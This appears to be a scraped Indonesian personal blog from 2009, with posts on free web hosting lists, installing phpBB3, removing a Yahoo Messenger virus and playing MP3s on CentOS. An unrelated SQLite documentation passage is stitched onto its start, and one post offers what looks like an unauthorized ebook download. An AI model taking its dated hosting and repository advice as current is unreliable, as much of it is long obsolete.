SQLite commands are normally terminated by a semicolon. In the shell you can also use the word "GO" (case-insensitive) or a slash character "/" on a line by itself to end a command. These are used by SQL Server and Oracle, respectively. These won't work insqlite3_exec(), because the shell translates these into a semicolon before passing them to that function.Compiling the sqlite3 program from sources
The source code to the sqlite3 command line interface is in a single file named "shell.c" which you can download from the SQLite website. Compile this file (together with the sqlite3 library source code to generate the executable. For example:gcc -o sqlite3 shell.c sqlite3.c -ldl -lpthread

mau dapet $$ dengan mudah..??

2009-12-31T01:16:00.000-08:00

cobain dulu baru komentar NIE

Gurita Cikeas

2009-12-29T05:58:00.000-08:00

Gurita Cikeas..

buat yang penasaran sama buku gurita cikeas yang susah di cari sekarang,,bisa coba ilangin rasa penasarannya dengan baca ebook nya download di SINI

Virus Yahoo Messenger

2009-12-09T08:49:00.000-08:00

mungkin bro n sis udah banyak denger atapun mengalami sendiri yang namanya virus yahoo messenger,,so pasti ngeselin,,jengkel,,terganggu..n segala macam bentuk caci maki sama yg udah buat virus ini..

Berwal dari pengalaman gw sendiri yang kena dampak virus ini, sempet bingung juga sewaktu online yahoo messenger ko id gw ngirim messages yg isinya link-link yg ga jelas ke id gw juga.dan semua nick yang ada di friendlist gw secara otomatis...

mungkin sedikit solusi siapa tau bisa bantu bro n sis yg kebetulan ngalamin hal serupa sama yahoo messengernya..

langkah awal matiin aja dolo tu startup virusnya,,coba buka msconfig,,caranya klik start =>run>ketikin "msconfig"..di jendela system configuration utility klik startup,cari deh file yang namanya "wmirpcf"atau "wmisrpc" ilangin aja tanda ceklist nya,trus restart komputer deh..

free hosting..

2009-12-08T02:21:00.000-08:00

Disini gw mau mencoba berbagi dengan teman dan kawan-kawan,,

siapa tau aja memang ada yang butuhin dan mau coba-coba,buat belajar bikin website,

sedangkan untuk domain kek nya bro n sis udah banyak tau deh domain2 yang gratisan,,mungkin gw akan posting nanti,,untuk sekarang gw coba untuk kasih beberapa link hosting yang gratisan,,semoga bermanfaat ..

(asli.... cape bgt gw ngetiknya..)

http://cbc360.net

Other Features:

250 MB Space
2 GB Bandwidth
Cpanel Control Panel
Ads supported

http://www.freehostman.com/

Other Features:

250 MB Disk Space
120 GB Bandwidth
Unlimited Domains
Unlimited Subdomains
cPanel Control Panel
PHP & MySql Support
Email Accounts & Spam Protection
Web Mail & File Manager
No Ads

http://vlexofree.com/

Other Features:

Alpha
250 MB Space
6 GB Bandwidth
Cpanel Control Panel
Link Back

Platinum 524 MB Space 10 GB Bandwidth Cpanel Control Panel Ad Supported Titanium 1024 MB Space 15 GB Bandwidth Cpanel Control Panel Ad Supported

http://www.netrulon.net/ =gw suka sama yg ini nie :D=

Other Features:

100 MB Storage Space
10,000 MB Transfer (bandwidth)
1 POP-Email w/Webmail access
2 MySQL Databases
Fantastico Autoinstaller

http://www.webhostingangels.com =atau= http://zethro.com

Other Features:

300 Megabytes guaranteed disk space
10 Gigabytes guaranteed monthly transfer (bandwidth)

http://hostingwebsite.biz

Other Features:

Disc Space : 100 MB
Bandwith : 1000 MB

http://www.purgehosting.com

Other Features:

Free Disc Space : 250 MB
Bandwith : 10000 MB
Disc Space : 1 GB
Bandwith : 12 GB

http://india.to/

Other Features:

1 GB Disc Space
1 GB Bandwith

http://www.fansitehost.org/

Other Features:

300 MB Disc Space
Unlimited Bandwith

http://prohosts.org/

Other Features:

350 MB Disk Space
15.000 MB Bandwidth

http://www.smokyhosts.com/

Other Features:

Storage : 1GB
Bandwidth p/m : 10GB
PHP : Yes
MySQL : Yes
Sites Allowed : Yes
FTP Access : Yes
Error Pages : Yes
Subdomains : Yes
cPanel : 10.x

http://www.boardoo.com == forum use

Other Features:

Space = 500 MB.
Bandwith = 4 GB
Direct Admin

http://moved.in/

Other Features:

Space = 150 MB
Bandwith = 5 GB
cPanel

http://stonerocket.net/

Other Features:

Space = 150 MB
Bandwith = 15 GB
cPanel

http://www.ultrawebsitehosting.com/

Other Features I:

Interests: Personal, Business.
Free Web Space: 100 MB.
Forced Ads: No ads
Your Ads: Allowed.
Upload: FTP, Browser.
Editor: Advanced, Basic, WYSIWYG.
Scripting: PHP.
Pre-Scripts: Script collection.
Your URL: Top-level domain name.

Other Features II: * Bandwidth limit 1,000 MB/month. * cPanel Pro Ultra online control panel. * MySQL database. * Website Statistics. * Site Builder included. * Custom error pages. * Instant activation of free web site hosting account.

http://www.x10hosting.com/

Interests: Personal, Business
Free Web Space: 500 MB.
Forced Ads: No ads (bannerless).
Your Ads: Allowed.
Upload: FTP, Browser, SiteCopy.
Editor: Advanced, Basic, WYSIWYG.
Scripting: CGI, PHP, ASP.NET, SSI, FrontPage Extensions, Perl, Python.
Pre-Scripts: Script collection.
Your URL: Top-level domain name, or Subdomain.

Other Features: Bandwidth limit 10,000 MB/month. Cpanel, Fantastico. MySQL databases. AwStats Statistics. POP3, SMTP, Forwarding, Web-based Email, PHP mail, Sendmail. SpamAssassin. Addon domains. Cron jobs. Shared SSL. Free websites must be in English, Spanish, or French. 14-days Inactivity limit (you must log in to the forums every 2 weeks).

http://www.heliohost.org/home/

Interests: Personal, Business.
Free Web Space: 250 MB.
Forced Ads: No ads (bannerless).
Your Ads: Allowed.
Upload: FTP, Browser.
Editor: Basic.
Scripting: CGI, PHP, ASP.NET, SSI, FrontPage Extensions, Perl, Python, Ruby.
Pre-Scripts: Script collection
Your URL: Top-level domain name, or Subdomain.

Other Features: Bandwidth limit 2500 MB/month. Cpanel, Fantastico. Unlimited addon domains. POP3 Email, Spam Assassin. Statistics, raw logs. Cronjobs allowed. Unlimited MySQL and PostgreSQL databases. Custom error pages. SSL secure server. Same as helionet.org. Ruby on Rails. Django (a Python Web framework). ASP.NET 2.0 with VB.NET support.

http://www.hosthelpers.com/

Interests: Personal, Business.
Free Web Space: 1,000 MB - 5,000 MB (5 GB).
Forced Ads: No ads (bannerless).
Your Ads: Allowed.
Upload: FTP, Browser.
Editor: Advanced, Basic.
Scripting: CGI, PHP, ASP, SSI, FrontPage Extensions, Perl, Python.
Pre-Scripts: Script collection.
Your URL: Top-level domain name, or Subdomain.

Other Features: Bandwidth limit 10,000 - 50,000 MB/month. cPanel control panel, Fantastico, Script Barn. POP3 Email, SMTP Sendmail, Forwarders, Web-mail. MySQL, PostgreSQL databases, PHP5. Add-on domains. Awstats Website Statistics. Cronjobs allowed. Custom error pages. Parked domain names. Freehosting on PowerEdge Xeon dedicated servers at ThePlanet datacenter. Additional upgrade features require forum posting. Same freehost as freecp.net.

http://www.hostaider.com/

Interests: Personal, Business.
Free Web Space: 1,000 MB.
Forced Ads: No ads (bannerless).
Your Ads: Allowed.
Upload: FTP, Browser.
Editor: Basic.
Scripting: CGI, PHP, Perl.
Pre-Scripts: Script collection
Your URL: Top-level domain name, or Subdomain.

Other Features: Bandwidth limit 10,000 MB/month. cPanel control panel, Fantastico / Script Barn. POP3 Email. Add-on domain names, Parked domains. MySQL databases. Cron Jobs. Custom Error Pages. Instant account activation. Same freehosting company as as cphoster.com.

http://www.free-hostin.com/

Interests: Personal, Business.
Free Web Space: 1,000 MB.
Forced Ads: No ads (bannerless).
Your Ads: Allowed.
Upload: FTP, Browser.
Editor: Basic.
Scripting: CGI, PHP, Perl.
Pre-Scripts: Script collection.
Your URL: Top-level domain name, or Subdomain.

Other Features:

Bandwidth limit 10,000 MB/month. cPanel control panel, Fantastico / ScriptBarn. POP3 Email accounts, SMTP Sendmail, Webmail. MySQL databases. Add-on domain names, Parked Domains. Custom Error Pages. Cron jobs allowed. Instant freehosting activation.

http://ultimatesitehost.com/

Interests: Personal, Business.
Free Web Space: 200 MB.
Forced Ads: No ads (bannerless).
Your Ads: Allowed
Upload: FTP, Browser.
Editor: Basic.
Scripting: CGI, PHP, Perl.
Pre-Scripts: Script collection.
Your URL: Top-level domain name, or Subdomain.

Other Features: Bandwidth limit 5,000 MB/month. cPanel control panel, Fantastico. POP3 Email. Awstats Statistics. MySQL database. Custom Error Pages. Add-on domains, parked domain names. Instant free website hosting activation.

http://www.free-space.net/

Interests: Personal, Business.
Free Web Space: 200 MB - 500 MB.
Forced Ads: No ads (bannerless).
Your Ads: Allowed.
Upload: FTP, Browser.
Editor: Advanced, Basic, WYSIWYG.
Scripting: CGI, PHP, SSI, FrontPage Extensions, Perl.
Pre-Scripts: Script collection.
Your URL: Top-level domain name, or Subdomain.

Other Features: Bandwidth limit 2,000 - 5,000 MB/month. Cpanel, Fantastico Instant Scripts Installer. MySQL database. POP3/SMTP/IMAP Email, Forwarding, Horde/Squirrelmail Webmail. Auto-responders. Awstats Statistics. rvSiteBuilder website builder. Custom error pages. With a banner put on free webpages, you will get more free webspace and features. Same as FreeSiteSpace.net and MyFreeWebsite.org freehosts. Your freewebpages should be in English language. Free subdomains are on the Xf-s.com or F-snet.com domain name.

http://www.qupis.com/

Interests: Personal, Business.
Free Web Space: 150 MB.
Forced Ads: TextLink-Bottom.
Your Ads: Allowed.
Upload: FTP, Browser.
Editor: Basic.
Scripting: CGI, PHP, SSI, FrontPage Extensions, Perl
Pre-Scripts: Mailing-List, Script collection.
Your URL: Top-level domain name, or Subdomain.

Other Features:

Bandwidth limit 5,000 MB/month. Cpanel X. MySQL databases. POP3, Web-based Email, Forwarding. Webalizer, AWStats statistics. TCL. Custom error pages. Addon domains. Password-protected files. English web sites only.

http://www.hostcell.net/

Interests: Personal, Business.
Free Web Space: 300 MB - 1000 MB (1 GB).
Forced Ads: No ads (bannerless).
Your Ads: Allowed.
Upload: FTP, Browser.
Editor: Advanced, Basic.
Scripting: CGI, PHP, SSI, FrontPage Extensions, Perl, Python, Ruby.
Pre-Scripts: Script collection.
Your URL: Top-level domain name, or Subdomain.

Other Features: Bandwidth limit 5,000 - 10,000 MB/month. Free cpanel hosting. PHP5. MySQL databases. POP3, Web-based Email. Password-protected files. Addon domain. Awstats Web Statistics. Forum posting required for more web space and features. All free web hosting signups are manually verified before being approved.

http://www.l4rge.com/

Interests: Personal, Business.
Free Web Space: 15,000 MB.
Forced Ads: Banner.
Your Ads: Allowed.
Upload: FTP, Browser.
Editor: Advanced, Basic.
Scripting: CGI, PHP, SSI, FrontPage Extensions, Perl.
Pre-Scripts: Script collection.
Your URL: Top-level domain name, or Subdomain.

Other Features:

cPanel, Fantastico. Unlimited Bandwidth. MySQL databases, PHP5. POP3, Forwarding, Web-based Email, SpamAssassin, BoxTrapper. Addon domains. Custom error pages. Analog Statistics. Cronjobs. Instant activation. Hosted on QuadCore servers. .htaccess file. Password-protected files. Video tutorials. Getting Started Wizard. You must ad a short code/tag to each free web page to remove ads (has banner by default).

http://www.mysitepages.com/

Interests: Personal, Business.
Free Web Space: 150 MB.
Forced Ads: No ads (bannerless).
Your Ads: Allowed.
Upload: FTP, Browser.
Editor: Basic.
Scripting: CGI, PHP, Perl.
Pre-Scripts: Script collection
Your URL: Top-level domain name, or Subdomain.

Other Features: Bandwidth limit 2,000 MB/month. cPanel control panel, Fantastico. FileManager. Cron jobs. Web-based Email, Spam Assassin. MySQL database, PHP5. Statistics. Custom error pages. Password-Protect Directories. Addon domain. Same freehost as SitePages.org.

http://www.free-web-host.me/

Interests: Personal, Business
Free Web Space: 3,000 MB.
Forced Ads: Banner-Bottom.
Your Ads: Allowed.
Upload: FTP, Browser.
Editor: Advanced, Basic, WYSIWYG.
Scripting: CGI, PHP, FrontPage Extensions, Perl.
Pre-Scripts: Script collection.
Your URL: Top-level domain name, or Subdomain.

Other Features: Unlimited bandwidth. MySQL databases. Cpanel, Softaculous AutoInstaller. Cron jobs. Webalizer, Awstats Statistics. POP3, SMTP, IMAP, Web-based Email. Add-on domain names. Password-protected files and directories. Custom error pages. .htaccess. Auto Website Builder. Multiple accounts allowed. Maximum upload file size limit 8 MB. PHP mail() and Sendmail. Zend Optimizer. IonCube Loader. PHP safe_mode OFF. Same freehost as 200u.com and 201w.com.

http://www.ismywebsite.com/

Interests: Personal, Business.
Free Web Space: 100 MB - 12,500 MB.
Forced Ads: Buttons (client-placed iframe code).
Your Ads: Allowed.
Upload: FTP, Browser.
Editor: Advanced, Basic.
Scripting: CGI, PHP, SSI, FrontPage Extensions, Perl, Ruby.
Pre-Scripts: Script collection.
Your URL: Top-level domain name, or Subdomain.

Other Features: Bandwidth limit 1,000 - 125,000 MB/month. cPanel, Fantastico. MySQL, PostGresSQL databases, PhpPgAdmin, PHPMyAdmin. PHP4 Zend Optimizer. Ruby on Rails. POP3 email. Addon domains. Webalizer, Awstats Statistics. Custom error pages. SendMail, Cron by request.

http://www.scan-host.net/

Interests: Personal, Business.
Free Web Space: 100 MB - 500 MB (.5 GB).
Forced Ads: Banner.
Your Ads: Allowed.
Upload: FTP.
Editor: Advanced, Basic.
Scripting: CGI, PHP, SSI, FrontPage Extensions, Perl.
Pre-Scripts: Script collection.
Your URL: Top-level domain name, or Subdomain.

Other Features:

Bandwidth limit 10,000 MB/month. cPanel control panel, Fantastico. POP3, Email forwarding, Webmail. MySQL, PostgreSQL databases, PHP5. Add-on domain names. Website Statistics. Cron jobs allowed. Custom error pages. http://www.scan-host.net/

Interests: Personal, Business.
Free Web Space: 100 MB - 500 MB (.5 GB).
Forced Ads: Banner.
Your Ads: Allowed.
Upload: FTP.
Editor: Advanced, Basic.
Scripting: CGI, PHP, SSI, FrontPage Extensions, Perl.
Pre-Scripts: Script collection.
Your URL: Top-level domain name, or Subdomain

Other Features: Bandwidth limit 10,000 MB/month. cPanel control panel, Fantastico. POP3, Email forwarding, Webmail. MySQL, PostgreSQL databases, PHP5. Add-on domain names. Website Statistics. Cron jobs allowed. Custom error pages.

http://www.profusehost.net/

Interests: Personal, Business.
Free Web Space: 200 MB - 10,000 MB.
Forced Ads: Banner-Top.
Your Ads: Allowed.
Upload: FTP, Browser.
Editor: Basic.
Scripting: CGI, PHP, SSI, FrontPage Extensions, Perl, Python, Ruby.
Pre-Scripts: Chat, Counter, FormMail, Guestbook, Mailing-List, Shopping Cart, Web Site Search, Script collection
Your URL: Top-level domain name, or Subdomain.

Other Features: Cpanel control panel. Bandwidth limit 100,000 MB/month. PostgreSQL, MySQL databases. PhpMyAdmin, phpPgAdmin. Web-based Email. Webalizer, Analog, AWStats statistics. Password-protected files. Ruby on Rails. .htaccess. Addon domains. Also has a no-ads plan.

http://www.hostecs.com/

Interests: Personal, Business.
Free Web Space: Unlimited.
Forced Ads: No ads (bannerless).
Your Ads: Allowed.
Upload: FTP, Browser.
Editor: Basic.
Scripting: CGI, PHP, SSI, Perl, Python.
Pre-Scripts: Script collection.
Your URL: Top-level domain name, or Subdomain.

Other Features:

Unlimited Bandwidth / data transfer. cPanel control panel, Fantastico Deluxe. Web Site Builder. Soholaunch. IP Deny Manager. Cronjobs. Webalizer Webhosting Statistics, logs. MySQL database. Custom Error Pages. Password-protected files. Instant activation. Hotlink Protection. Web Based File Manager. phpMyAdmin. Same freehost as clix5.com, suredir.com, surge5.com, webcybers.com, xhoster.net, and xoogs.com.

http://webhosting-for-free.com/register/

Interests: Personal, Business.
Free Web Space: 100 MB.
Forced Ads: No ads (bannerless).
Your Ads: Allowed.
Upload: FTP, Browser.
Editor: Basic.
Scripting: PHP, SSI, FrontPage Extensions.
Pre-Scripts: Mailing-List.
Your URL: Top-level domain name, or Subdomain.

Other Features: Bandwidth limit 1,000 MB/month. cPanel control panel. SMTP, POP3 Email. Webalizer, Awstats, Analog Statistics. Web Password Protection. Same freehosting company as AXSpace.com

http://www.six6.net/

Interests: Personal, Business.
Free Web Space: 6,000 MB.
Forced Ads: Banner.
Your Ads: Allowed.
Upload: FTP, Browser.
Editor: Advanced, Basic.
Scripting: CGI, PHP, SSI, FrontPage Extensions, Perl, Python.
Pre-Scripts: Script collection.
Your URL: Top-level domain name, or Subdomain.

Other Features: Unlimited bandwidth. cPanel control panel, Fantastico Deluxe. Soholaunch website builder. MySQL database, PHP5. Webalizer, Awstats Web Site Statistics, logs. Cron jobs allowed. Custom error pages. Password-protected directories. Hotlink Protection.

http://www.mxhost.net/

Interests: Personal, Business.
Free Web Space: 25 MB.
Forced Ads: Banner or Popup.
Your Ads: Allowed
Upload: FTP.
Editor: -
Scripting: CGI, PHP, SSI, FrontPage Extensions, Perl.
Pre-Scripts: Script collection.
Your URL: Subdomain.

Other Features:

Bandwidth limit 2,000 MB/month. POP3, SMTP, and Web-based Email. Autoresponders. MySQL databases. Cpanel. Unlimited bandwidth. Custom error pages. Statistics. Backup. Cron jobs allowed. 90-days Inactivity limit. Same as xro.us..

http://www.rapidfirehost.com/

Interests: Personal, Business.
Free Web Space: 100 MB.
Forced Ads: Banner.
Your Ads: Allowed.
Upload: FTP, Browser.
Editor: Advanced, Basic, WYSIWYG.
Scripting: PHP.
Pre-Scripts: Script collection.
Your URL: Top-level domain name, or Subdomain.

Other Features:

Bandwidth limit 1,000 MB/month. cPanel website control panel with Fantastico. MySQL database. Instant freewebhosting activation.

http://www.sphosting.com/

Interests: Personal, Business.
Free Web Space: 100 MB.
Forced Ads: Banner.
Your Ads: Allowed.
Upload: Browser.
Editor: Advanced, Basic.
Scripting: PHP, SSI.
Pre-Scripts: Counter, FormMail, Guestbook, Mailing-List, Message Board Forum.
Your URL: Subdomain.

Other Features: cPanel, Fantastico. Bandwidth limit 5,000 MB/month. MySQL database. Free Webalizer Statistics. File size limit 2.5 MB. Password-protected files. Override .htaccess support. Custom Cronjobs. Backup. Same freehosting company as hostinplace.com, spboards.org, sppages.com, and sphosting.net.

(sedangkan untuk yang di bawah ini : Forum posting required,jadi lo harus aktif di forum nya)

http://www.trap17.com/ Interests: Personal, Business. Free Web Space: 500 MB. Forced Ads: No ads (bannerless). Your Ads: Allowed. Upload: FTP, Browser. Editor: Advance http://free-name.org/ Interests: Personal, Business. Free Web Space: 5,000 MB. Forced Ads: No ads (bannerless). Your Ads: Allowed. Upload: FTP, Browser. Editor: Advanced, Basic, WYSIWYG. Scripting: CGI, PHP, FrontPage Extensions, Perl. Pre-Scripts: Chat, Counter, FormMail, Guestbook, Mailing-List, Message Board Forum, Shopping Cart, Web Site Search, Script collection. Your URL: Top-level domain name. Other Features: Note: Must complete other free offers. Bandwidth limit 250,000 MB/month. cPanelX, Fantastico. MySQL databases. Webmail, email forwarding. Modify MX entry. Free domain name. Addon domains. .htaccess. Custom error pages. Analog, AWStats statistics. Cronjobs. http://www.spacesocket.com/ Interests: Personal, Business. Free Web Space: 100 MB - 1,000 MB. Forced Ads: No ads (bannerless). Your Ads: Allowed. Upload: FTP, Browser. Editor: Basic. Scripting: CGI, PHP, ASP.NET, SSI, FrontPage Extensions, Perl, Ruby. Pre-Scripts: Script collection. Your URL: Top-level domain name, or Subdomain. Other Features: Note: Forum posting required. Bandwidth limit 1,000 - 10,000 MB/month. Cpanel. Fantastico. MySQL databases. Awstats, Webalizer Statistics. POP3 mail, Web-based Email. Custom error pages. Ruby on Rails support. Add-on domain names. Cron jobs allowed. http://www.tyreus.com/ Interests: Personal, Business. Free Web Space: 2,000 MB. Forced Ads: No ads (bannerless). Your Ads: Allowed. Upload: FTP, Browser. Editor: Advanced, Basic, WYSIWYG. Scripting: CGI, PHP, SSI, FrontPage Extensions, Perl, Ruby. Pre-Scripts: Script collection. Your URL: Top-level domain name, or Subdomain. Other Features: Note: Forum posting required - Post2Host. Cpanel, Fantastico. Bandwidth limit 20,000 MB/month. MySQL databases. Ruby on Rails. Analog, AwStats, Webalizer Statistics, logs. RVSite Builder. POP3 Email. .htaccess. Custom error pages. Cron Tabs. Addon domains. http://stonerocket.net/freehost.php Interests: Personal, Business. Free Web Space: 150 MB. Forced Ads: No ads (bannerless). Your Ads: Allowed. Upload: FTP, Browser. Editor: Basic. Scripting: CGI, PHP, FrontPage Extensions, Perl, Python. Pre-Scripts: Mailing-List, Script collection. Your URL: Top-level domain name, or Subdomain. Other Features: Note: Forum posting required. Bandwidth limit 15,000 MB/month. WHM, Cpanel, Fantastico. MySQL databases. POP3, Web-based Email, Forwarders, Modify MX entry. Addon domains. Webalizer, Analog, AWStats statistics. .htaccess. Custom error pages. Cron jobs.

INSTALL CMS PHPBB DENGAN DOMAIN GRATIS & HOSTING GRATIS

2009-12-04T16:00:00.000-08:00

GRATIS..?? kalo udah denger kata gratis pasti pada suka :P

Berawal iseng iseng bikin forum secara ofline alias ga konek sama internet pake XAMPP,sukses bikin forum secara ofline ga bikin gw puas,,pengen cobain gimana cara instal forum yang tergolong opensource ini online alias bisa di akses dari manapun dan siapapun dengan syarat terhubung dengan internet.

Sesuai dengan judul gw GRATIS maka di sini yang gw pake semua gratis pastinya :D
:)) langkah awal udah pasti harus punya domain,,& harus gratis, :D
:)) harus punya tempat hostingan buat instal & bikin database juga & harus GRATIS
:)) harus punya master instalan PHPBB3 yang nantinya jadi forum kita & GRATIS
:)) secangkir kopi susu plus sebungkus sampoerna (gratis.? sapa yg mau beliin ya ...?? ) :D

LANGKAH PERTAMA :
download cms untuk forumnya di sini gw pake PHPBB3 Download aja dulu ke komputer kita,nanti baru di upload ke web hosting .bro n sis bisa download di SINI.

LANGKAH KEDUA :

Bro n sis harus punya domain, sesuai judul kita pake yang "GRATIS"an di sini bisa daftar nya klik di sini .

bro n sis bisa bikin domain di sini misal : forumgw.co.cc
daftar deh yang bener masukin biodata anggap aja lagi di tanya2 sama pa rt,, kalo domain udah jadi bro n sis masuk ke opsi "SETUP"
Bro n sis klik di bagian "NAME SERVER" trus isiin :

(PIC 1)

NAME SERVER 1 : ns01.000webhost.com
NAME SERVER 2 : ns02.000webhost.com

Trus klik deh "SETUP"
berarti langkah pertama udah beres ni,tunggu2 sabar paling ni domain maksimal udah aktif dalam 48 jam..minum dulu kopi tar dingin ga enak.

LANGKAH KETIGA :

DI atas kita udah bikin domain yang nanti jadi alamat kita misal: forumgw.co.cc, sekarang tinggal cari tempat buat hosting nya,dan harus GRATIS hostingnya..

Banyak banget tempat hosting gratisan,tapi di sini gw pake contoh hostingan di : "000webhost" Bro n sis kalau belum punya account nya daftar aja dulu GRATIS ko daftar langsung di SINI...daftar deh yang bener....pake opsi daftar "I want to host my own domain (domain must be registered already)" trus masukin domain yang kita buat pertama misal : forumgw.co.cc

nah udah punya domain,file PHPBB3 dan tempat hosting,,tinggal di upload ke hosting "000webhost".bisa pakai ftp atau file manager bawaan dari "000webhost"

(PIC 2)

anngap aja di sini kita upload menggunakan file manager dari 000webhost

klik icon another file manager .

keluar jendela tab baru di browser kan tu...DoubleClik "public_html"

(PIC 3)

upload semua file PHPBB3 yang sudah di unzip tadi ke dalam folder "public_html".

(PIC 4)

Selesai upload bikin database dulu di 000webhost,klik "mySQL Management"

(PIC 5)

Trus buat deh databasenya :

(PIC 6)

Database udah jadi ,,file udah di upload tinggal install deh file phpbb nya..

Buka browser kesayangan anda ketikan alamat nya, contoh : http://www.forumgw.co.cc

secara otomatis page setup akan muncul

INTRODUCTION

(PIC 7)

klik "proceed to next step"

di tahap ini jika ada file yang belum di beri permision maka nilai nya menjadi UNWRITABLE (red color).

dan harus di rubah agar menjadi WRITABLE...kita kembali ke "filemanager" (pic 4) dan set

permissions per folder yang membutuhkan permissions. klik icon : ceklis all

REQUIREMENTS

klik test again sampai semua filenya WRITABLE (green color). lalu klik "start install"

(PIC 8)

DATABASE CONFIGURATION

next step input database yang kita buat tadi (PIC 6),masukan

Database server hostname or DSN : (contoh: mysql8.000webhost.com) (PIC 6)

Database server port : KOSONGKANG SAJA

Database name : ................................ (PIC 6)

Database username :................................ (PIC 6)

Database password : ................................ (PIC 6)

(PIC 9)

jika tahap di atas benar memasukan database yang sudah di buat pada (pic 4) maka
"Successful connection" lalu
klik "proceed to next step"

(PIC 10)

Maka tahap berikutnya adalah

ADMINISTRATOR CONFIGURATION

Masukan email,username untuk admin dan passwornya dan klik "proceed to next step"

(PIC 11)

ADMINISTRATOR DETAIL'S

next step klik "proceed to next step"

(PIC 12)

Configuration file

The configuration file has been written. You may now proceed to the next step of the installation.

next step klik "proceed to next step"

Advanced settings

klik "proceed to next step"

(PIC 13)

CREATE DATABASE TABLES

klik "proceed to next step"

FINAL STAGE

kembali ke (PIC 4) cari folder yang bernama "install" lalu delete .

click login

Congratulations!
forum anda sudah jadi...

SORY KALO GA JELAS,,MASIH CUPU SOALNYA GW KALO BIKIN FR ^^

PLAY MP3 DI LINUX CENTOS 5

2009-12-04T13:06:00.000-08:00

Ga ngabayangin gw,,ternyata pake linux ga kaya kita pake windoze,yg tinggal klak klik tinggal jadi,,mau instal tinggal double klik,,mau ini mau itu tinggal klik,,
setelah penasaran seharian Centos gw ga bisa play lagu kesayangan gw [lagu jadol mode on],akhirnya dengan bantuan broder gw [Mbah google] dapet juga and so pasti bisa dengerin plus teriak teriak lagi deh sama lagu2 jadol gw..

Note: dengan cara ini komputer wajib konek sama internet..! kalo ga konek sampe taun depan juga ga akan bisa :P

Baca sana baca sini langkah awal nya harus instal dolo deh tu yang namanya rpmforge,itu tuh paket paketan untuk centos...nah gw dapet tu rpmforge dari sini nie:http://dag.wieers.com/rpm/packages/rpmforge-release/
Berhubung gw pake centOs cari deh yg masih sodaraan sama centos di sini yang gw pake : rpmforge-release-0.3.6-1.el5.rf.i386.rpm

dowload trus taro di : folder /home/NamaUser [nama usernya ganti sama nama user loe]
baru deh di instal tu paket, buka terminal trus ketikin perintah : rpm -ivh /home/NamaUser/rpmforge-release-0.3.6-1.el5.rf.i386.rpm

Kalo tu proses instalasi udah selesai kita import gpg keys nya ketikin perintah : rpm –importhttp://dag.wieers.com/rpm/packages/RPM-GPG-KEY.dag.txt

selanjutnya lo harus Instal yum priorities yang tersedia pada repositori centos5 pake perintah : yum install yum-priorities .tunggu sampe selesai deh
detik-detik terakhir kalo udah beres tahap yang di atas Cek lagi repositori yang tadi kita instal ketikin : yum check-update

tinggal nstall paket paket multimedia deh ketikin lagi di jendela terminal : yum install vlc mplayer xmms-mp3 xmms-skin xmms-wma

kalo udah selesai dengerin mp3 & nyayi nya jangan teriak2 ya,,Berisik tau,,,